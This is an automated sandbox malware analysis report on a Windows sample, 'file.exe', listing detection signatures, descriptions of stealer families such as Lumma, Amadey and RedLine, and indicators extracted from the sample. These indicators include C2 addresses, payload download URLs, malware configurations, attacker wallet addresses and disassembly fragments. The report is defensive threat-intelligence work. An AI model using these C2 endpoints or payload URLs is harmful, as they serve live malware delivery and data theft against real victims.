Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1520057
MD5: 49a9681922ad571a4a24b42465e5cdc4
SHA1: f710153121bcde5e6acd4760001d916675973475
SHA256: c66b9636df8b16d69170b47f28611d70194925cd941c0a7ed49a6f35a599dad6
Tags: exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected CryptOne packer
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected PureLog Stealer
Yara detected RedLine Stealer
Yara detected Socks5Systemz
Yara detected Stealc
Yara detected Vidar stealer
Yara detected XWorm
Yara detected zgRAT
.NET source code contains potential unpacker
.NET source code contains very large array initializations
AI detected suspicious sample
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Connects to many ports of the same IP (likely port scanning)
Contains functionality to inject code into remote processes
Creates multiple autostart registry keys
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Injects a PE file into a foreign processes
Installs new ROOT certificates
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
PE file contains section with special chars
Potentially malicious time measurement code found
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses process hollowing technique
Sample uses string decryption to hide its real strings
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Yara detected Costura Assembly Loader
Yara detected Generic Downloader
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops certificate files (DER)
Enables debug privileges
Enables security privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
PE file does not import any functions
Queries disk information (often used to detect virtual machines)
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara detected Keylogger Generic
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
RedLine Stealer RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for URL or domain
Source: https://steamcommunity.com/profiles/76561199724331900 URL Reputation: Label: malware
Source: lootebarrkeyn.shop Avira URL Cloud: Label: malware
Source: stogeneratmns.shop Avira URL Cloud: Label: malware
Source: http://91.202.233.158/ Avira URL Cloud: Label: malware
Source: https://reinforcenh.shop/api Avira URL Cloud: Label: malware
Source: http://91.202.233.158/e96ea2db21fa9a1b.php Avira URL Cloud: Label: malware
Source: http://185.215.113.16/inc/rstxdhuj.exez& Avira URL Cloud: Label: phishing
Source: http://185.215.113.17/f1ddeb6592c03206/msvcp140.dllfaHD Avira URL Cloud: Label: malware
Source: fragnantbui.shop Avira URL Cloud: Label: malware
Source: http://185.215.113.17/2fb6c2cc8dce150a.php3 Avira URL Cloud: Label: malware
Source: http://185.215.113.17/2fb6c2cc8dce150a.php4 Avira URL Cloud: Label: malware
Source: http://185.215.113.17/f1ddeb6592c03206/softokn3.dllJa Avira URL Cloud: Label: malware
Source: offensivedzvju.shop Avira URL Cloud: Label: malware
Source: http://185.215.113.103/mine/random.exe Avira URL Cloud: Label: malware
Source: http://194.116.215.195/12dsvc.exe Avira URL Cloud: Label: malware
Source: http://176.113.115.95/thebig/stories.exe Avira URL Cloud: Label: malware
Source: http://185.215.113.17/f1ddeb6592c03206/sqlite3.dll Avira URL Cloud: Label: malware
Source: http://185.215.113.17/2fb6c2cc8dce150a.phpf Avira URL Cloud: Label: malware
Source: http://185.215.113.17/2fb6c2cc8dce150a.phpp Avira URL Cloud: Label: malware
Found malware configuration
Source: 00000003.00000002.2137528658.00000000006D1000.00000040.00000001.01000000.00000007.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.16/Jo89Ku7d/index.php", "Version": "4.41", "Install Folder": "44111dbc49", "Install File": "axplong.exe"}
Source: 00000007.00000002.2695505270.00000000037A5000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: RedLine {"C2 url": "95.179.250.45:26212", "Bot Id": "LiveTraffic", "Message": "Error! Disable antivirus and try again!", "Authorization Header": "143feb5082f9936e624c1e27545e7d19"}
Source: 00000024.00000002.3118723302.0000000004141000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Xworm {"C2 url": ["188.190.10.161"], "Port": "4444", "Aes key": "<Xwormmm>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}
Source: 00000016.00000002.2971489446.0000000003710000.00000040.00001000.00020000.00000000.sdmp Malware Configuration Extractor: StealC {"C2 url": "http://91.202.233.158/e96ea2db21fa9a1b.php", "Botnet": "default"}
Source: 00000016.00000002.2971489446.0000000003710000.00000040.00001000.00020000.00000000.sdmp Malware Configuration Extractor: Vidar {"C2 url": "http://91.202.233.158/e96ea2db21fa9a1b.php", "Botnet": "default"}
Source: 13.2.RegAsm.exe.400000.1.unpack Malware Configuration Extractor: LummaC {"C2 url": ["lootebarrkeyn.shop", "ghostreedmnu.shop", "fragnantbui.shop", "vozmeatillu.shop", "stogeneratmns.shop", "reinforcenh.shop", "offensivedzvju.shop", "gutterydhowi.shop", "drawzhotdog.shop"], "Build id": "FATE99--Mix"}
Multi AV Scanner detection for domain / URL
Source: ballotnwu.site Virustotal: Detection: 8% Perma Link
Source: lootebarrkeyn.shop Virustotal: Detection: 15% Perma Link
Source: http://91.202.233.158/ Virustotal: Detection: 19% Perma Link
Source: https://reinforcenh.shop/api Virustotal: Detection: 15% Perma Link
Source: http://91.202.233.158/e96ea2db21fa9a1b.php Virustotal: Detection: 21% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Nework[1].exe ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\newbundle2[1].exe ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\penis[1].exe ReversingLabs: Detection: 33%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\12dsvc[1].exe ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\LummaC222222[1].exe ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\crypted[1].exe ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\neon[1].exe ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\rstxdhuj[1].exe ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\stealc_default2[1].exe ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\cccc2[1].exe ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\gold[1].exe ReversingLabs: Detection: 100%
Multi AV Scanner detection for submitted file
Source: file.exe Virustotal: Detection: 56% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Joe Sandbox ML: detected
Source: C:\ProgramData\EBook JS Plugin 9.26.47\EBook JS Plugin 9.26.47.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 0000002B.00000002.3158798841.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: reinforcenh.shop
Source: 0000002B.00000002.3158798841.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: stogeneratmns.shop
Source: 0000002B.00000002.3158798841.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: fragnantbui.shop
Source: 0000002B.00000002.3158798841.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: drawzhotdog.shop
Source: 0000002B.00000002.3158798841.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: vozmeatillu.shop
Source: 0000002B.00000002.3158798841.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: offensivedzvju.shop
Source: 0000002B.00000002.3158798841.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: ghostreedmnu.shop
Source: 0000002B.00000002.3158798841.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: gutterydhowi.shop
Source: 0000002B.00000002.3158798841.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: drawzhotdog.shop
Source: 0000002B.00000002.3158798841.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000002B.00000002.3158798841.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: TeslaBrowser/5.5
Source: 0000002B.00000002.3158798841.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: - Screen Resoluton:
Source: 0000002B.00000002.3158798841.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: - Physical Installed Memory:
Source: 0000002B.00000002.3158798841.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: Workgroup: -
Source: 0000002B.00000002.3158798841.0000000000400000.00000040.00000400.00020000.00000000.sdmp String decryptor: TBnDlH--
Source: 37.2.InstallUtil.exe.800000.0.unpack String decryptor: 188.190.10.161
Source: 37.2.InstallUtil.exe.800000.0.unpack String decryptor: 4444
Source: 37.2.InstallUtil.exe.800000.0.unpack String decryptor: <IlwAYl63V65*l#>
Source: 37.2.InstallUtil.exe.800000.0.unpack String decryptor: <Xwormmm>
Source: 37.2.InstallUtil.exe.800000.0.unpack String decryptor: XWorm V5.6
Source: 37.2.InstallUtil.exe.800000.0.unpack String decryptor: USB.exe
Source: 37.2.InstallUtil.exe.800000.0.unpack String decryptor: bc1qyrkl2d6y5szrmqdhc4tv5jjavgyrtlcu072d73
Source: 37.2.InstallUtil.exe.800000.0.unpack String decryptor: 0xCF1f6F491C7C6345B2139C0bB9204e64f37BD4e9
Source: 37.2.InstallUtil.exe.800000.0.unpack String decryptor: TVc65vYbkKfbEAqihVbyZuSVVagPux7c7h

Compliance
barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Unpacked PE file: 23.2.fidovideorecorder32_64.exe.400000.0.unpack
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fido Video Recorder_is1
Source: unknown HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.4.136:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49770 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49772 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.5:49775 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49777 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49779 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.208.139:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49783 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.2.13:443 -> 192.168.2.5:49786 version: TLS 1.2
Source: Binary string: mozglue.pdbP source: stealc_default2.exe, 00000013.00000002.3061112605.0000000068E3D000.00000002.00000001.01000000.00000021.sdmp
Source: Binary string: .pdb8 source: axplong.exe, 00000006.00000003.3054813558.0000000001620000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.0000000001620000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: nss3.pdb@ source: stealc_default2.exe, 00000013.00000002.3061741872.0000000068FFF000.00000002.00000001.01000000.00000020.sdmp
Source: Binary string: nss3.pdb source: stealc_default2.exe, 00000013.00000002.3061741872.0000000068FFF000.00000002.00000001.01000000.00000020.sdmp
Source: Binary string: mozglue.pdb source: stealc_default2.exe, 00000013.00000002.3061112605.0000000068E3D000.00000002.00000001.01000000.00000021.sdmp
Source: Binary string: c:\rje\tg\7v\obj\Release\Qrr.pdb source: axplong.exe, 00000006.00000003.3054996905.0000000005F26000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.2999307768.0000000005F2B000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138409494.0000000005F2C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.2998919451.0000000005F23000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0041B6EA FindFirstFileExW, 13_2_0041B6EA
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001CD9FD FindFirstFileExW, 16_2_001CD9FD
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_0024D9FD FindFirstFileExW, 17_2_0024D9FD
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe File opened: C:\Users\user\Documents\desktop.ini
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe File opened: C:\Users\user
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe File opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe File opened: C:\Users\user\AppData\Local
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe File opened: C:\Users\user\Desktop\desktop.ini
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp 06E4E122h 9_2_06E4DE60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 9_2_06E4E7B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp 06E4F70Ah 9_2_06E4F2D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp 06E4FB8Ah 9_2_06E4F2D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then inc dword ptr [ebp-20h] 9_2_06E42E88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp 06E4ACCBh 9_2_06E4ACB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp 06E4CD8Dh 9_2_06E4CD6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then inc dword ptr [ebp-20h] 9_2_06E43158
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [esp] 14_2_00EBD2C0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then jmp eax 14_2_00EF7600
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov word ptr [eax], cx 14_2_00EFA7E0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h 14_2_00EFAC00
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh 14_2_00EF50E0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov byte ptr [ebx], al 14_2_00EE40F5
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov byte ptr [ebx], al 14_2_00EE40F5
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then push ebx 14_2_00EC5078
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then movzx edi, byte ptr [eax+esi] 14_2_00EB7120
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov word ptr [eax], cx 14_2_00EDA2F9
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov word ptr [edx], ax 14_2_00EDA2F9
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then movzx eax, word ptr [esi+ecx] 14_2_00EF2280
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov word ptr [eax], cx 14_2_00EDA274
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov word ptr [edx], ax 14_2_00EDA274
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov ebx, eax 14_2_00EBA3C0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov ebp, eax 14_2_00EBA3C0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], CECD21FDh 14_2_00EDC390
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp dword ptr [edi+edx*8], CECD21FDh 14_2_00EDC390
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp dword ptr [edi+edx*8], 0633C81Dh 14_2_00EF9390
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [esp] 14_2_00EF9390
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h 14_2_00EE1370
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov word ptr [eax], cx 14_2_00EDA345
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov word ptr [edx], ax 14_2_00EDA345
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [esp] 14_2_00EDA345
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h 14_2_00ED04A0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov word ptr [eax], dx 14_2_00ED04A0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [esp] 14_2_00ED4490
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [esp] 14_2_00EDF5B7
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov ecx, esi 14_2_00EDD58E
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov ecx, esi 14_2_00EDD56C
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [esi+000006A8h] 14_2_00ECE52C
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then movzx ebx, byte ptr [edx] 14_2_00EEB510
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [esi] 14_2_00EC46B5
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then movzx edx, byte ptr [ecx+eax] 14_2_00EBF7E0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov byte ptr [ebx], al 14_2_00EE27B0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [esi+20h] 14_2_00EE27B0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov byte ptr [ebx], al 14_2_00EE27B0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov byte ptr [ebx], al 14_2_00EE27B0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov byte ptr [ebx], al 14_2_00EE27B0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov byte ptr [ebx], al 14_2_00EE27B0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov byte ptr [edi], al 14_2_00EE27B0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov byte ptr [edi], al 14_2_00EE27B0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov byte ptr [ebx], al 14_2_00EE27B0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov byte ptr [edx], cl 14_2_00EE27B0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov dword ptr [esp], 00000000h 14_2_00ECA880
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp al, 2Eh 14_2_00EDC891
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then xor eax, eax 14_2_00EDC891
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp dword ptr [edi+edx*8], 54CA534Eh 14_2_00EF89F0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 1B788DCFh 14_2_00EF4970
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [esi] 14_2_00EC3AE6
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov ebx, ecx 14_2_00EC3AE6
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp byte ptr [edi], 00000000h 14_2_00EC3AE6
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp dword ptr [edi+edx*8], 0633C81Dh 14_2_00EF5AD0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov byte ptr [edi], al 14_2_00EE4A2F
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then movzx ecx, word ptr [edi+eax] 14_2_00EF8BE0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov ebx, dword ptr [edi+04h] 14_2_00EE0BD0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then jmp edx 14_2_00ED7B0F
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [esp+0Ch] 14_2_00EDBB00
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h 14_2_00ED6CA0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then movzx edx, byte ptr [esi+edi] 14_2_00EB4C10
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov byte ptr [edi], al 14_2_00EE4DF6
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [esp+0Ch] 14_2_00EF5D80
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h 14_2_00EFAD90
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then add edi, 02h 14_2_00ECDD64
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [ebx] 14_2_00ECDD64
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then movzx edx, byte ptr [esi+ebx] 14_2_00EB5D20
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [ebp-10h] 14_2_00EF7EDE
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [esi+1Ch] 14_2_00EBFEBC
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [esp] 14_2_00EF9E60
